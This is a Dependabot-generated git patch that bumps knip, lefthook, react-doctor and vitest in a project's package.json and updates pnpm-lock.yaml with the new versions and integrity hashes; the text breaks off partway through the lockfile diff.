From d7a3d1db485aeff34e83b51d1614654fb0ae74ae Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 11 Oct 2026 05:56:12 +0000 Subject: [PATCH 1/2] chore(deps-dev): bump the dev-tooling group across 1 directory with 4 updates Bumps the dev-tooling group with 4 updates in the / directory: [knip](https://github.com/webpro-nl/knip/tree/HEAD/packages/knip), [lefthook](https://github.com/evilmartians/lefthook), [react-doctor](https://github.com/millionco/react-doctor/tree/HEAD/packages/react-doctor) and [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest). Updates `knip` from 6.38.0 to 6.40.0 - [Release notes](https://github.com/webpro-nl/knip/releases) - [Commits](https://github.com/webpro-nl/knip/commits/knip@6.40.0/packages/knip) Updates `lefthook` from 2.1.14 to 2.2.0 - [Release notes](https://github.com/evilmartians/lefthook/releases) - [Changelog](https://github.com/evilmartians/lefthook/blob/master/CHANGELOG.md) - [Commits](https://github.com/evilmartians/lefthook/compare/v2.1.14...v2.2.0) Updates `react-doctor` from 0.9.14 to 0.9.17 - [Release notes](https://github.com/millionco/react-doctor/releases) - [Changelog](https://github.com/millionco/react-doctor/blob/main/packages/react-doctor/CHANGELOG.md) - [Commits](https://github.com/millionco/react-doctor/commits/react-doctor@0.9.17/packages/react-doctor) Updates `vitest` from 5.0.2 to 5.0.3 - [Release notes](https://github.com/vitest-dev/vitest/releases) - [Changelog](https://github.com/vitest-dev/vitest/blob/main/docs/releases.md) - [Commits](https://github.com/vitest-dev/vitest/commits/v5.0.3/packages/vitest) --- updated-dependencies: - dependency-name: knip dependency-version: 6.40.0 dependency-type: direct:development update-type: version-update:semver-minor dependency-group: dev-tooling - dependency-name: lefthook dependency-version: 2.2.0 dependency-type: direct:development update-type: version-update:semver-minor dependency-group: dev-tooling - dependency-name: react-doctor dependency-version: 0.9.17 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: dev-tooling - dependency-name: vitest dependency-version: 5.0.3 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: dev-tooling ... Signed-off-by: dependabot[bot] --- package.json | 8 +- pnpm-lock.yaml | 376 +++++++++++++++++++++++++------------------------ 2 files changed, 195 insertions(+), 189 deletions(-) diff --git a/package.json b/package.json index ff6e5a7..60d4929 100644 --- a/package.json +++ b/package.json @@ -20,13 +20,13 @@ "@commitlint/cli": "^21.2.3", "@commitlint/config-conventional": "^21.2.3", "@types/node": "^24.10.1", - "knip": "^6.38.0", - "lefthook": "^2.1.14", + "knip": "^6.40.0", + "lefthook": "^2.2.0", "oxfmt": "^0.68.0", "oxlint": "^1.83.0", - "react-doctor": "^0.9.14", + "react-doctor": "^0.9.17", "typescript": "^6.0.3", - "vitest": "^5.0.2" + "vitest": "^5.0.3" }, "engines": { "node": ">=24" diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 148ed1e..44ac328 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -18,11 +18,11 @@ importers: specifier: ^24.10.1 version: 24.13.6 knip: - specifier: ^6.38.0 - version: 6.38.0 + specifier: ^6.40.0 + version: 6.40.0 lefthook: - specifier: ^2.1.14 - version: 2.1.14 + specifier: ^2.2.0 + version: 2.2.0 oxfmt: specifier: ^0.68.0 version: 0.68.0 @@ -30,14 +30,14 @@ importers: specifier: ^1.83.0 version: 1.83.0 react-doctor: - specifier: ^0.9.14 - version: 0.9.14(@opentelemetry/core@2.11.0(@opentelemetry/api@1.9.1))(eslint@10.11.0(jiti@2.7.0))(react@19.3.0) + specifier: ^0.9.17 + version: 0.9.17(@opentelemetry/core@2.12.0(@opentelemetry/api@1.9.1))(eslint@10.11.0(jiti@2.7.0))(react@19.3.0) typescript: specifier: ^6.0.3 version: 6.0.3 vitest: - specifier: ^5.0.2 - version: 5.0.2(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) + specifier: ^5.0.3 + version: 5.0.3(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(vite@8.3.1(@types/node@24.13.6)(esbuild@0.28.2)(jiti@2.7.0)(tsx@4.23.15)(yaml@2.9.1)) apps/bot: dependencies: @@ -940,8 +940,8 @@ packages: '@cfworker/json-schema': optional: true - '@napi-rs/wasm-runtime@1.2.4': - resolution: {integrity: sha512-AJxoUD2/15ESHbvpcyjU274nsAPLuOtPHCk0vKJM5pj//Fg/B1FXNWjPnXTT9PymCYYiHo4zPj0ZomXBKhoy7g==} + '@napi-rs/wasm-runtime@1.2.5': + resolution: {integrity: sha512-HshSvXzmBxNzqejd3k/KemgQ3hdREUYFRRrgxOZ+gPljDIsO2SDZrVZMd4Z/HsxudQbE62OVyVFE8z9BCurfjA==} engines: {node: ^20.19.0 || ^22.13.0 || >=23.5.0} peerDependencies: '@emnapi/core': ^1.7.1 || ^2.0.0-alpha.4 @@ -1022,8 +1022,8 @@ packages: resolution: {integrity: sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==} engines: {node: '>=8.0.0'} - '@opentelemetry/core@2.11.0': - resolution: {integrity: sha512-7YP44XH0tV6+Mb54x2YGf84i7yi+31MBZlE8JwvozkxyTvXbSp10X7cI7YE49ChJ3shMJoBmCJF3+1QFBJctGA==} + '@opentelemetry/core@2.12.0': + resolution: {integrity: sha512-1HsSAuvT4/my0QrXWsyXFdWjKaPeCHsismKZgEEIb8NK13LP6DrMRlsUbvD/0F9mDWK3xDom9AMv3IscxgOnOQ==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.0.0 <1.10.0' @@ -1034,20 +1034,20 @@ packages: peerDependencies: '@opentelemetry/api': ^1.3.0 - '@opentelemetry/resources@2.11.0': - resolution: {integrity: sha512-Ie7+8q8MDF4FAEQCKVMTx3ReUvxiIAgIiiW3c9JdmP8+HMcDy20puT+AHjexnExgnbvBxjQ9fjkFDWrikJ2jQA==} + '@opentelemetry/resources@2.12.0': + resolution: {integrity: sha512-+rSRoOdln6NhXTVcBdHSlZxJDNzwxadeweK2ltZO3tVtfp6aklABc06xclDk6ovRR+EiGgIcSbh/6NgjFhnb3A==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace-base@2.11.0': - resolution: {integrity: sha512-H19x/TX/LZdqiYOjM7fqtSxwlplC5pgelavqbQdHbhdq0q/AI/TGkM2dfGuuynTXmJPeF2HoZVoPDu+TGoW78A==} + '@opentelemetry/sdk-trace-base@2.12.0': + resolution: {integrity: sha512-JOERgZCxRM06FEJ5kEWxlSRChah6MmXDx3KwCruqEv/iEyLkTokCSemf2y1w8oIHtfrr8EVTpzebq/31vn2Cpg==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' - '@opentelemetry/sdk-trace@2.11.0': - resolution: {integrity: sha512-fFnTqGm8/G73GQVnxYi7LXa1ZVYEUvgL6XI1LpvV0bPC7WQ/ZGgKxCSl8FnlZBKto9JHHEFTO6s6CUpvvtwFrA==} + '@opentelemetry/sdk-trace@2.12.0': + resolution: {integrity: sha512-ImVuRQ6faOsTi1Wna88s2avgrrf/iDgXPigIeynkUhjstMuoQUDOJXgkez2j1mlU4btjXcXBGa+q7qKFYR3GsA==} engines: {node: ^18.19.0 || >=20.6.0} peerDependencies: '@opentelemetry/api': '>=1.3.0 <1.10.0' @@ -1976,12 +1976,12 @@ packages: resolution: {integrity: sha512-fO9PLmHdVURcSPUpWCItWAtgKiMwGdJHbovoSEyLplX5sxs2ugvI4CBPTrkkgqhObnZOD0CnWBKDzSVQYBKEyQ==} engines: {node: '>=14'} - '@sentry/core@10.75.0': - resolution: {integrity: sha512-5wDQpQqjJ6RHdPR+z6Q+47XlwoxRKBv0yyB0LKHqL/1azPOQbR+nllyLmmQDcoJpaksuLSmLA1q6hFX7gjDT2w==} + '@sentry/core@10.76.1': + resolution: {integrity: sha512-WZ1D30FDrvZPWcEgbCgaVHROBOaVGxNUcEeF5O5xRAdGu6UB7Epg+CQBeoatw/SxEctQq0BPbMIwtBgbe1QK3g==} engines: {node: '>=18'} - '@sentry/node-core@10.75.0': - resolution: {integrity: sha512-+E3KSX1oMqhpWQ23hj6NblIVUzLy3T2oceU7DfMX1s1ar+npaQZxR5K0/cMGcQgS1LLm8Jqwqo/lrZlKTCDm5A==} + '@sentry/node-core@10.76.1': + resolution: {integrity: sha512-5IPAqITJle2wFn+7nkCiWchC9TfdEU2GrH0uS/WmTC7vc64YGAyPK/UZ0qzCU0MUPNH5anYGtUK4EMzlpdmWGQ==} engines: {node: '>=18'} peerDependencies: '@opentelemetry/api': ^1.9.0 @@ -2001,20 +2001,20 @@ packages: '@opentelemetry/sdk-trace-base': optional: true - '@sentry/node@10.75.0': - resolution: {integrity: sha512-XdYW+SEiscQnuugh1hMldfnHurmleKSTSDqgfro6Y1yd7s0r2csnZ5/SEYxIeL4lSl1QXg1lIA1pBmAXjcdnKA==} + '@sentry/node@10.76.1': + resolution: {integrity: sha512-caXHUb8pI7Gd9FIwe3soqGWpnTxVVaV15iYk+rueKsBBeUNETLCU6PzwTyD6tQ3WbkhTGYbSGYYLINtj2IroEA==} engines: {node: '>=18'} - '@sentry/opentelemetry@10.75.0': - resolution: {integrity: sha512-reJoMtuHMuaiztoDVoaeitc22eHlTAvz2qpFhibWyzukJlF8oXB+o8EvDN9mmDDMedU89c//cXRcnPBlJvUxcw==} + '@sentry/opentelemetry@10.76.1': + resolution: {integrity: sha512-nfEQ4ALfEXGpYulXTPIOxE4QL3wsXPhlcCBbkgWmkozIT6D3s3vpjtRJsF//xrIkrAMm4OdV25fVqMhEkbJTGA==} engines: {node: '>=18'} peerDependencies: '@opentelemetry/api': ^1.9.0 '@opentelemetry/core': ^1.30.1 || ^2.1.0 '@opentelemetry/sdk-trace-base': ^1.30.1 || ^2.1.0 - '@sentry/server-utils@10.75.0': - resolution: {integrity: sha512-7fIa9vFGNzB13hmxl8Sip3xImSkqpc4wETzuQ7CLzVOwPvwI6y/gVEm0pxRhtJSq8SzfOp26eJWl80u8v78Osg==} + '@sentry/server-utils@10.76.1': + resolution: {integrity: sha512-E4BHBU2F975eQW/eo4w73DvxN2LNac3wqWzd8lvk4A6jXt8nJwtGSxxdPaTM0Il82aJkbZXJ3IIO/Px6rlX+lQ==} engines: {node: '>=18'} '@shaderfrog/glsl-parser@7.0.1': @@ -2193,12 +2193,12 @@ packages: '@types/validate-npm-package-name@4.0.2': resolution: {integrity: sha512-lrpDziQipxCEeK5kWxvljWYhUvOiB2A9izZd9B2AFarYAkqZshb4lPbRs7zKEic6eGtH8V/2qJW+dPp9OtF6bw==} - '@typescript-eslint/types@8.70.0': - resolution: {integrity: sha512-asTOIYhDg4zdzOScCyaytrsV3cR6B4ecPQlXw/dJIm7J/MZTtCtfVII9JD8Geh4jTCrK/Xe6cg5UevoleMcoJQ==} + '@typescript-eslint/types@8.71.1': + resolution: {integrity: sha512-ybYnPTUwg3VQQOFEiBPLs8Jxl1ry2vXdn1kVKguomBbvxpetdu3MKTNDqFNUrlG8ylP9MpZosmXMFYlGQHk1oQ==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - '@vitest/mocker@5.0.2': - resolution: {integrity: sha512-Z5FS00Q1SJHkB35xATsmWGdQ5WA1/0MV3CDjqyv7GavHv1OfOj145MNfHOlHk7QLes21dKFDHr8EO2zvL+9WGA==} + '@vitest/mocker@5.0.3': + resolution: {integrity: sha512-T8sWAIbkSyAjkwTcaEc3Iu0o9A27X1/kdXrizhZkGuSKScRQtRzclfAMpOTcGdXCsqxeWlpGy3XjqaW8CpLORg==} peerDependencies: msw: ^2.4.9 vite: ^6.0.0 || ^7.0.0 || ^8.0.0 @@ -2208,8 +2208,8 @@ packages: vite: optional: true - '@vitest/spy@5.0.2': - resolution: {integrity: sha512-Ijc7T1nT9efNb5LxvjaBrEqw3f/QwUv5EE0nKqZxgqsaV/FxAAZ8baGylA8X/Z2oS4Lp+K74Jr6dTJsDKxJDeg==} + '@vitest/spy@5.0.3': + resolution: {integrity: sha512-XhFysQTB8AZ+P4gMi+Lpo99vg2AZi0qKpaB9yXQl37+CaMEAPO3iH/wGVnSyL5MPERiLezpqTVtrR6UZH5GCXg==} abort-controller@3.0.0: resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==} @@ -2359,16 +2359,16 @@ packages: caniuse-lite@1.0.30001812: resolution: {integrity: sha512-qN+QNNBr93TCmFrmte0bBCjSDMuRvt78VlHT99qIGPszm4QsqCX8lnyWUFkHi8B7ZBAPq8SH+UqyXNy/odMdng==} - chai@6.2.2: - resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} + chai@6.3.0: + resolution: {integrity: sha512-XWAtwJ6OHO+tj0EKCs0Y2UamnyOxseZWltU4x2U2wh8g4AigdjwvtUjvLP2tqkA/avxHEtzxNaqGq/YGNwckKg==} engines: {node: '>=18'} chalk@5.6.2: resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - cjs-module-lexer@2.2.1: - resolution: {integrity: sha512-Ca8swihM+/4yKecYHY52kgJd300hi2lADU/a1RxNTRe+RJ9jvqQlESpbz9DnG9mowez8qwXHB8qYdIUw9e+F5Q==} + cjs-module-lexer@2.3.0: + resolution: {integrity: sha512-lmNyBzi6iYiqyrExTctfmjd8tInx+dHu9PBomTfH5RXS53c27JMFJgzNv5TyAnm3PgGf+MLy0+Ws41/HlVxdKQ==} class-variance-authority@0.7.1: resolution: {integrity: sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==} @@ -2637,8 +2637,8 @@ packages: es-module-lexer@2.3.2: resolution: {integrity: sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==} - es-module-lexer@3.0.2: - resolution: {integrity: sha512-BuIB67FngDSyQ/dpQNOZybwdEBDUGJQvOqwWr4ha/ufYiqzuEwPkKO2zLhRAgay28tStRIHUeWmszZAJo3GCOg==} + es-module-lexer@3.0.3: + resolution: {integrity: sha512-yWGe1O/j+almnV4hOYrmZo8u58JdnmXEMneRQAYkWtqSiT86yoMIEKF4rpqEDj52tbYl3xceBD3DQIBwcsC9Pw==} es-object-atoms@1.1.2: resolution: {integrity: sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==} @@ -2958,8 +2958,8 @@ packages: resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} engines: {node: '>=6'} - import-in-the-middle@3.5.1: - resolution: {integrity: sha512-mPKuL8bPQzecui2KK6Gb+M8JvJoHnhS1FeYGa22QopBmlevF5F0FE6ued/B5EgHDeIoMTONIpDWWFKUPOG0DBQ==} + import-in-the-middle@3.5.2: + resolution: {integrity: sha512-WseIA/4o56+GYO3RmlOPvejYi771OFeJEeK/ejROsr9bdjW+E5NXTOD1Di8TL40Qgg3JJX9aa97Hf8iiSVIKZw==} engines: {node: '>=18'} imurmurhash@0.1.4: @@ -3132,63 +3132,63 @@ packages: resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} engines: {node: '>=6'} - knip@6.38.0: - resolution: {integrity: sha512-umytiMCaZf02MV9SOO1FEDgbDf6h20VZk3ruJE0kh52kkGjYZFRUAXHJWYoLhvhoHGINO/7GXVJmQ2vxTBvl6A==} + knip@6.40.0: + resolution: {integrity: sha512-5Lp/ANJu3AkW5f+J+2QG14z7xKZGi/ybb5MU1EWjeGdt6MpuIaLpLFiyBi0ZKryTiuTHiJqo/WKJRaWYimvavw==} engines: {node: ^20.19.0 || >=22.12.0} hasBin: true - lefthook-darwin-arm64@2.1.14: - resolution: {integrity: sha512-VMUAqY81+8ph7Mc0iROd3JWqj2sOuK7SYDyd8ZgzYVKChCt+Nnz8ehd4gUwprJy7QI28IFSUh1M3wnIRiYh+fA==} + lefthook-darwin-arm64@2.2.0: + resolution: {integrity: sha512-7Y5Kq7jxi69lQz0w8EMbB3acxPYSIlCZx1ZykurlmkPYm7pYF4hvFzou+e9QXpuvuBpHJF+lgzwdiPxeEoVOaA==} cpu: [arm64] os: [darwin] - lefthook-darwin-x64@2.1.14: - resolution: {integrity: sha512-uSmjcPRU+yB+D6vk+u6WJDnyHlB+XIv1QZw97N2+qNGG2bNSLH/7MuJ6puCdJv+lVPBEO5wBjE3JIbaEzPOQCw==} + lefthook-darwin-x64@2.2.0: + resolution: {integrity: sha512-2yJenDYDCOHJqywQpDRxwfgUP3UwhikOaoa07k5J5F3Gov3+im8HnDvcHV81Of1V3sT/gxD4T+mZ6a3GFb3zvQ==} cpu: [x64] os: [darwin] - lefthook-freebsd-arm64@2.1.14: - resolution: {integrity: sha512-po/pmjbp/7BjE9RFfeDnh+CeNsA0d+utppOYKB425I7mgI1GcmT8GAZ9DDut4DIutNjVqKL/lzrj+F87Gm40Rg==} + lefthook-freebsd-arm64@2.2.0: + resolution: {integrity: sha512-bRtEN4c1Z4yUxb8nDo2y6dbEhPfKmsEBO8xi7e/SjA3tITR0sgD2MBDsUmRoTIxvZPssGWKfURlFVmrH0cRQnA==} cpu: [arm64] os: [freebsd] - lefthook-freebsd-x64@2.1.14: - resolution: {integrity: sha512-+KiXiFjJf7YdHUYjzhDsklcA5bAFZN+pNcz/NbBftrhVTwzNALNoK+SYEKt+9QJsrzL6tpDWmHHFpeLGp+8t8w==} + lefthook-freebsd-x64@2.2.0: + resolution: {integrity: sha512-jYLatxOW4bjCRCc8KCO7gRuSm38IzmU32nVbJrgZgLnbxUjKv3seLMK0nODYx2UobFLVqptul+hWJG/6zX5SWQ==} cpu: [x64] os: [freebsd] - lefthook-linux-arm64@2.1.14: - resolution: {integrity: sha512-bjeJB16ftJaPWGTedssh8ZrqRy1ACfQuTV7a0O3NU1FoIsJtfHOm0o0mV4cPf4q+ZCVCwq1Xf2I11qUpuJFV4Q==} + lefthook-linux-arm64@2.2.0: + resolution: {integrity: sha512-ynLPEhiuB8qyECBWKF9VbAekWpyPSXfurujPvJdtkyXN+kkiByiU62pdQ5KdSTxNyfYDiMCN81T9SoQZUdxxoQ==} cpu: [arm64] os: [linux] - lefthook-linux-x64@2.1.14: - resolution: {integrity: sha512-gYExzjU2w3uKrP1MklbHENS1cXUdCQRIiEJkykI7q4RjhIHi+mQEUAZLxZw93a6jE2pNWaO0me5tB8EbEt4/GQ==} + lefthook-linux-x64@2.2.0: + resolution: {integrity: sha512-s+JLh+mkZLyHqMFmURT10VbGWjU5M3rlvj+8bGJKqLbza49ULivWZAOQue6Y0kF2as7k5uC6k9w07KcJvYdYsw==} cpu: [x64] os: [linux] - lefthook-openbsd-arm64@2.1.14: - resolution: {integrity: sha512-MCW76gTlEMBF3Ds8O63UTxjaSguha/5zT0U3Vr719I1sXueSpttfRmm/5YfIB4MygB116yA/Vi+DsizT/X0kcg==} + lefthook-openbsd-arm64@2.2.0: + resolution: {integrity: sha512-SkZ2q8J4mTW1L53nLiAmFcx2fuv5nO+8AdgS8eUnL7v7RPLT9+8LjyK89EMgdRKgiHGIZG1wi3dnOY1eaLiXlw==} cpu: [arm64] os: [openbsd] - lefthook-openbsd-x64@2.1.14: - resolution: {integrity: sha512-salAc1PAhLI6xrB9pth5UxALQlTOGvZAfaAvgFwixhkdu8D//uW8zS3faFq31ktd1bDAy5wDI8p9yg+fF5+2uA==} + lefthook-openbsd-x64@2.2.0: + resolution: {integrity: sha512-AEfa2aerI/r8lBBeGXKoW101SRAKOAT72mC6a7idHoEA96UgCBdRYCuULeZBJveRROKZMyoHrVB/I+SxrEV95w==} cpu: [x64] os: [openbsd] - lefthook-windows-arm64@2.1.14: - resolution: {integrity: sha512-q3JC6lBrYLzkhXEhfnmFxJF47gSd5JeDweH3aNrHoLGX/KkRiOrk9RSyoRwSuGq03EYxSkJhl1FLj2GUxF7VqQ==} + lefthook-windows-arm64@2.2.0: + resolution: {integrity: sha512-JsEOkRiAL9lNH1vFhfarKpTDWamfzl31RmU/WD9enjRpiUW8+AMtDmO0VJAw5aX5wZclG2HIUT6vJdKXwrjYFg==} cpu: [arm64] os: [win32] - lefthook-windows-x64@2.1.14: - resolution: {integrity: sha512-WwIxdwW1lDAaJUU3ETcKlCtdqluGr3Cy+LjKvP4QIQnFf0FEXL78THstIkZ6k6qhfUn7/WvyqSIf0cbTAKw2nQ==} + lefthook-windows-x64@2.2.0: + resolution: {integrity: sha512-mPME3KcWxYL2J3r21F0yKcwwK2VbemizFSuDfwL7dSGgD59ejga2Gk041BEg5WUFkfCPqKpMJifQzhKskJMOPA==} cpu: [x64] os: [win32] - lefthook@2.1.14: - resolution: {integrity: sha512-Y9TL1dmpRlIdSp73SJ6bb+xAZ4s2SinGTK3pgC9PRWMSjMr2iOfowPGnlSOfAo5fu6S5rdiItsQDxeLEWCGk4g==} + lefthook@2.2.0: + resolution: {integrity: sha512-nEDic8eec9/+SPsSugzD55BThOrtPrY5vPAnlZq42afRxMssYYm+d4A8SFP9DB0bZCZyLqbTTYNof7zMgQOObQ==} hasBin: true levn@0.4.1: @@ -3369,8 +3369,8 @@ packages: magic-string@0.30.21: resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} - magic-string@1.4.2: - resolution: {integrity: sha512-vG+rjFRj1PqdIBozIxAGMjPlOhaVe+GXpbttY/iSK7rGcJRMlwNJO7dcUwmUqkymsFLJiNGI06t4D7Fr7yRC9g==} + magic-string@1.4.3: + resolution: {integrity: sha512-z12OxmaPGE0F4xlpGdjuAUckipLpQlTAuAmyGhNoD7ODpYUzvDfvtxUbjM/jwznyP178oju/KDdyi220wNJ0RQ==} magicast@0.5.5: resolution: {integrity: sha512-UicdXN8zQ3JHlxVq+28afMXPr1z7WNY6+7EJnzTdQWkTAlMLF5fNCCKxJHBQwGaNGR11581EiQmQzx73+MvszA==} @@ -3559,8 +3559,8 @@ packages: vite-plus: optional: true - oxlint-plugin-react-doctor@0.9.14: - resolution: {integrity: sha512-YGdwFmQXGQulT63SnVD9JI1hV2EwGnZHrgSlUMQaOkvnhYA200QwDeb7DfVT8UBt34lBvbkjtz8VRFJugHjsRQ==} + oxlint-plugin-react-doctor@0.9.17: + resolution: {integrity: sha512-j6tdFoJbLztISYNlw7LMT+6naqhVsXTNn7drhoGRIqf0x2mCSD2Ur71hK0E/VrLens355finI6j+sMqHxHpEfA==} engines: {node: ^20.19.0 || >=22.13.0} oxlint@1.81.0: @@ -3609,8 +3609,8 @@ packages: resolution: {integrity: sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==} engines: {node: '>=6'} - package-manager-detector@1.8.0: - resolution: {integrity: sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==} + package-manager-detector@1.9.0: + resolution: {integrity: sha512-zAMfbta9nPA8AKkA4WdmNAT8R8s6Dk0/xwPsqNnRidMFcLo1YkLuPDTgs2f64XdzS8vbLNnoJ+uUIkgbz7oRHA==} parent-module@1.0.1: resolution: {integrity: sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==} @@ -3669,8 +3669,8 @@ packages: resolution: {integrity: sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==} engines: {node: '>=8'} - playwright-core@1.63.0: - resolution: {integrity: sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==} + playwright-core@1.64.0: + resolution: {integrity: sha512-T9r+MZkTECl2+oUcZ26YgZzTrYidTsIhYYkJix+6iDOymOb1FB2RLLSOxRGnZGv5DStt+aduIVbt+E8WygXYpg==} engines: {node: '>=20'} hasBin: true @@ -3737,8 +3737,8 @@ packages: resolution: {integrity: sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==} engines: {node: '>= 0.10'} - react-doctor@0.9.14: - resolution: {integrity: sha512-JzOwAY/hoSxHa4Siyqgfxr/KCNak0SB9pSTseFVStFHAnWS+XxR6RsWU6Q5Ho+J5Jmyb9LZRXc6ZK5jt3cfcQQ==} + react-doctor@0.9.17: + resolution: {integrity: sha512-YCsjYk6MocO/oBhVxCcKvPotFxEOf/WJep/oF7jrpyVUBVKDKdpt7jVwTxrJrFE8uALMmVTljzXNTIjoL3talg==} engines: {node: ^20.19.0 || >=22.13.0} hasBin: true @@ -3891,6 +3891,10 @@ packages: resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} engines: {node: '>=0.10.0'} + source-map-js@1.2.2: + resolution: {integrity: sha512-KGj/8Y43x35aZVDtt+J4mK1hoLGHULMYfSkODJNQjNDC3oW1PqPoxMwo0pLUsWM/UEGzON/NxeHywEfNXNP3Vw==} + engines: {node: '>=0.10.0'} + source-map@0.6.1: resolution: {integrity: sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==} engines: {node: '>=0.10.0'} @@ -3899,8 +3903,8 @@ packages: resolution: {integrity: sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==} engines: {node: '>= 0.8'} - std-env@4.2.0: - resolution: {integrity: sha512-oCUKSupKTHX53EyjDtuZQ64pjLJ6yYCtpmEw0goYxtjG9KpbRe8KAsl2tBUGU9DyMcJ0RwJ8GqJAFzMXcXW1Rw==} + std-env@4.3.0: + resolution: {integrity: sha512-OtU/EgQ1kIm5KwqQpBC6ZEMXrZRui11w8zgfTWp8cdO9B8OaPsbA8bTHO2P+HNo1VlUTGMVBwPhydu6poeXiag==} stdin-discarder@0.2.2: resolution: {integrity: sha512-UhDfHmA92YAlNnCfhmq0VeNL5bDbiZGg7sZ2IvPsXubGkiNa9EC+tUTsjBRsYUAz87btI6/1wf4XoVvQ3uRnmQ==} @@ -3981,8 +3985,8 @@ packages: tiny-invariant@1.3.3: resolution: {integrity: sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg==} - tinybench@6.2.0: - resolution: {integrity: sha512-78U2TlB2CnVenajOFzf3BKSm0J6oz5L0NV7g32LCPccvYc0lbWvys4d3uUUCS2B1N8PAf2+aekR8i1KbC3HO7Q==} + tinybench@6.2.1: + resolution: {integrity: sha512-IAbQaPJIIdhVxi0mqy9lez1wEwje0UQf9F1vwtbelEG5Nbgn0nPOxCvU+mNeNS9gyJTAhrHp74CbUaSynQpZcQ==} engines: {node: '>=20.0.0'} tinyexec@1.3.1: @@ -4048,12 +4052,12 @@ packages: engines: {node: '>=14.17'} hasBin: true - uint8array-extras@1.5.0: - resolution: {integrity: sha512-rvKSBiC5zqCCiDZ9kAOszZcDvdAHwwIKJG33Ykj43OKcWsnmcBRL09YTU4nOeHZ8Y2a7l1MgTd08SBe9A8Qj6A==} + uint8array-extras@1.6.0: + resolution: {integrity: sha512-8iAasVS4wUx0gPLjH8Xtz2PeDzTSiy8QiLGu2DT3X5GU+egFEQhpnbtkehbAwjvDcxIERmCYcysiODFmE3Ud0Q==} engines: {node: '>=18'} - unbash@4.0.11: - resolution: {integrity: sha512-FoSOKV7NEofQSkAefMVHam4ZPKYMxjAydxiV72UFEDNV/YofxjGfiZ2A9pZjdL/lRJzTjcu4PABo1JYJX8N5iQ==} + unbash@4.0.12: + resolution: {integrity: sha512-PnKvRX+Fbxl/usVlTr/31tXIOVAH+8OdC9qaxUQcvurwEnoc3Vk/ipi2Ce8IjMxzK9byfSGdsUBjqqJGc1o5lw==} engines: {node: '>=14'} undici-types@7.18.2: @@ -4151,20 +4155,20 @@ packages: yaml: optional: true - vitest@5.0.2: - resolution: {integrity: 